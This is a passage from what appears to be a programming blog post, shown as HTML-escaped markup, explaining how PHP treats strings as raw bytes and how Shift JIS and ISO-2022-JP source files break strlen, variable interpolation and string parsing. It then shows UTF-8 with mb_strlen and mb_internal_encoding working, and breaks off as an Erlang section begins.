&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;恋は戦争&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/koihasensou-sjislen.png&quot; alt=&quot;The number 8 prefaces the mojibake.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://patrickmccoy.typepad.com/lost_in_translation/2006/02/yappari_thats_r_1.html&quot;&gt;Yappari&lt;/a&gt;&lt;/em&gt;.
PHP has &lt;em&gt;no clue&lt;/em&gt; what encoding the string is in—it’s just saving those
bytes, counting them, and throwing them back out.  So why does the UTF-8 one
look alright in the browser and the Shift JIS one doesn’t?&lt;/p&gt;
&lt;p&gt;The first tripping point is the webserver; the Apache on the machine I’m
testing has this directive in a conffile:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;AddDefaultCharset &lt;span style=&quot;color: #fab387;&quot;&gt;UTF&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sure enough, when we take a look at the headers sent on the wire:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;HTTP&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1.1&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;200&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;OK&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;Date&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; Wed&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;18&lt;/span&gt; Apr &lt;span style=&quot;color: #fab387;&quot;&gt;2012&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;04&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;51&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;GMT&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;Server&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt; Apache&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2.2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;11&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;Fedora&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;X&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;Powered&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;By&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;PHP&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;5.2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;Content&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;Length&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;14&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;Connection&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; close
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;Content&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;Type&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; text&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;html&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; charset&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;UTF&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the browser is trying to read the Shift JIS as UTF-8, hence mojibake.  We
can force that by adding an appropriate &lt;a href=&quot;http://php.net/header&quot;&gt;&lt;code&gt;header()&lt;/code&gt;&lt;/a&gt;
call, but it goes to show that PHP isn’t cognisant of what’s going on here.&lt;/p&gt;
&lt;p&gt;Another grand example is using other built-in string functions.
&lt;a href=&quot;http://php.net/str_replace&quot;&gt;&lt;code&gt;str_replace()&lt;/code&gt;&lt;/a&gt; and
&lt;a href=&quot;http://php.net/substr&quot;&gt;&lt;code&gt;substr()&lt;/code&gt;&lt;/a&gt; are fraught with difficulty, no matter what
encoding you use.&lt;/p&gt;
&lt;p&gt;We haven’t even hit the fun stuff yet.  What happens if we use another popular
Japanese encoding, ISO-2022-JP?  ISO-2022, also known as ECMA-35, is a standard
for mechanisms for encoding foreign language text, and is used for Japanese in
ISO-2022-JP, Chinese in ISO-2022-CN, and more, including extensions of the
same.&lt;/p&gt;
&lt;p&gt;Being a more complicated system, it fails to make some guarantees about the
encoded data which other encodings do make; Shift JIS, for instance, &lt;a href=&quot;http://en.wikipedia.org/wiki/Shift_JIS#Shift_JIS_byte_map&quot;&gt;does not use common ASCII special characters in its second byte&lt;/a&gt;,
such as &lt;code&gt;$&lt;/code&gt;.  This means a &lt;code&gt;$&lt;/code&gt; symbol in Shift JIS-encoded text always means a
&lt;code&gt;$&lt;/code&gt;, whereas the letter &lt;code&gt;A&lt;/code&gt; could occur as either a literal &lt;code&gt;A&lt;/code&gt;, or as the
second byte in a double-byte character &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-mb-encoding&quot; id=&quot;fnref-mb-encoding&quot; data-footnote-ref&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Keeping in mind that ISO-2022-JP doesn’t exercise such care, let’s see what we
get …&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/koihasensou-iso2022jp.png&quot; alt=&quot;We get a few “undefined variable” PHP warnings.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Uhhhh.  What’s stored on the disk?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;c3f &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a0a &lt;span style=&quot;color: #fab387;&quot;&gt;246&lt;/span&gt;b &lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;f69 &lt;span style=&quot;color: #fab387;&quot;&gt;203&lt;/span&gt;d &lt;span style=&quot;color: #fab387;&quot;&gt;2022&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;b24 &lt;span style=&quot;color: #fab387;&quot;&gt;424&lt;/span&gt;e  &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt;?&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;.&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$&lt;span style=&quot;color: #fab387;&quot;&gt;BN&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;0000010: 7824 4f40 6f41 681b 2842 223b 0a0a 6563  x&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$&lt;span style=&quot;color: #fab387;&quot;&gt;O&lt;/span&gt;&lt;/span&gt;@oAh.(B&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;ec
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000020&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;686&lt;/span&gt;f &lt;span style=&quot;color: #fab387;&quot;&gt;2073&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;7472&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;c65 &lt;span style=&quot;color: #fab387;&quot;&gt;6e28&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;246&lt;/span&gt;b &lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;f69 &lt;span style=&quot;color: #fab387;&quot;&gt;2920&lt;/span&gt;  ho &lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000030&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2e20&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;223&lt;/span&gt;c &lt;span style=&quot;color: #fab387;&quot;&gt;6272&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3e5&lt;/span&gt;c &lt;span style=&quot;color: #fab387;&quot;&gt;6e22&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;b0a &lt;span style=&quot;color: #fab387;&quot;&gt;6563&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;686&lt;/span&gt;f  &lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000040&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2024&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;b6f &lt;span style=&quot;color: #fab387;&quot;&gt;693&lt;/span&gt;b &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a0a &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;f3e &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a               &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The ISO-2022-JP encoding of &lt;code&gt;恋は戦争&lt;/code&gt; contains the byte-sequence &lt;code&gt;24 42 4e 78 24 4f&lt;/code&gt;, which is &lt;code&gt;$BNx$O&lt;/code&gt; in ASCII—so PHP tries to interpolate variables so
named.&lt;/p&gt;
&lt;p&gt;Of course, this means even scarier things are possible.  I replaced &lt;code&gt;恋は戦争&lt;/code&gt;
with &lt;code&gt;あ&lt;/code&gt;—the Japanese letter “a”, essentially—and we get:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/a-iso2022jp.png&quot; alt=&quot;A warning and a parse error.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Whoops!  On the disk:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000000&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;c3f &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a0a &lt;span style=&quot;color: #fab387;&quot;&gt;246&lt;/span&gt;b &lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;f69 &lt;span style=&quot;color: #fab387;&quot;&gt;203&lt;/span&gt;d &lt;span style=&quot;color: #fab387;&quot;&gt;2022&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;b24 &lt;span style=&quot;color: #fab387;&quot;&gt;4224&lt;/span&gt;  &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt;?&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;.&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$&lt;span style=&quot;color: #fab387;&quot;&gt;B&lt;/span&gt;&lt;/span&gt;$&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;0000010: 221b 2842 223b 0a0a 6563 686f 2073 7472  &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;B&amp;quot;;..echo str&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;0000020: 6c65 6e28 246b 6f69 2920 2e20 223c 6272  len(&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;) . &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt;br
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000030&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3e5&lt;/span&gt;c &lt;span style=&quot;color: #fab387;&quot;&gt;6e22&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;b0a &lt;span style=&quot;color: #fab387;&quot;&gt;6563&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;686&lt;/span&gt;f &lt;span style=&quot;color: #fab387;&quot;&gt;2024&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;b6f &lt;span style=&quot;color: #fab387;&quot;&gt;693&lt;/span&gt;b  &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;\&lt;/span&gt;n&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;echo &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000040&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a0a &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;f3e &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;a                             &lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;?&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;あ&lt;/code&gt; encodes as &lt;code&gt;1b 24 42 24 22 1b 28 42&lt;/code&gt;.  Those playing at home will notice a
&lt;code&gt;22&lt;/code&gt;—i.e. &lt;code&gt;&amp;quot;&lt;/code&gt;—is stuck in the middle, so PHP thinks you’ve prematurely
terminated the string.&lt;/p&gt;
&lt;p&gt;The solution is to encode your source files as UTF-8, because UTF-8 guarantees
that all ASCII characters—that is, values &lt;code&gt;00&lt;/code&gt; through &lt;code&gt;7f&lt;/code&gt;—are both mapped
to the same byte in UTF-8, &lt;em&gt;and&lt;/em&gt; that those bytes will not occur in a UTF-8
stream as part of any other character.  UTF-8 is &lt;a href=&quot;http://en.wikipedia.org/wiki/UTF-8#Description&quot;&gt;marvelously
well-designed&lt;/a&gt; (actually).&lt;/p&gt;
&lt;p&gt;This means that PHP won’t do anything funny with your strings, though it still
treats it like a bag of bytes.  Next, use only the &lt;a href=&quot;http://php.net/manual/en/book.mbstring.php&quot;&gt;multibyte string extension&lt;/a&gt;
to do string operations.  For instance, let’s revert back to the &lt;code&gt;恋は戦争&lt;/code&gt;
example in UTF-8, and use &lt;a href=&quot;http://php.net/mb_strlen&quot;&gt;&lt;code&gt;mb_strlen()&lt;/code&gt;&lt;/a&gt; instead of
the plain variety:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;恋は戦争&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;mb_strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we see:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/koihasensou-utf8len.png&quot; alt=&quot;12!?&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Whoops.  That’s raw bytes again!  The multibyte module has no idea what
encoding to use, so if we don’t tell it, it behaves as usefully as
&lt;a href=&quot;http://php.net/strlen&quot;&gt;&lt;code&gt;strlen()&lt;/code&gt;&lt;/a&gt;. We have to tell it, and in a very PHP-like
manner, we set a &lt;strong&gt;global&lt;/strong&gt; state for the interpreter.  Great.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;mb_internal_encoding&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;UTF-8&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;恋は戦争&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;mb_strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$koi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/koihasensou-utf8lenmb.png&quot; alt=&quot;The number 4. Hallelujah.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Onto saner pastures.&lt;/p&gt;
&lt;h2&gt;Erlang&lt;/h2&gt;
&lt;p&gt;Erlang is a funny language.  &lt;a href=&quot;http://learnyousomeerlang.com/starting-out-for-real#lists&quot;&gt;It doesn’t even &lt;em&gt;have&lt;/em&gt;
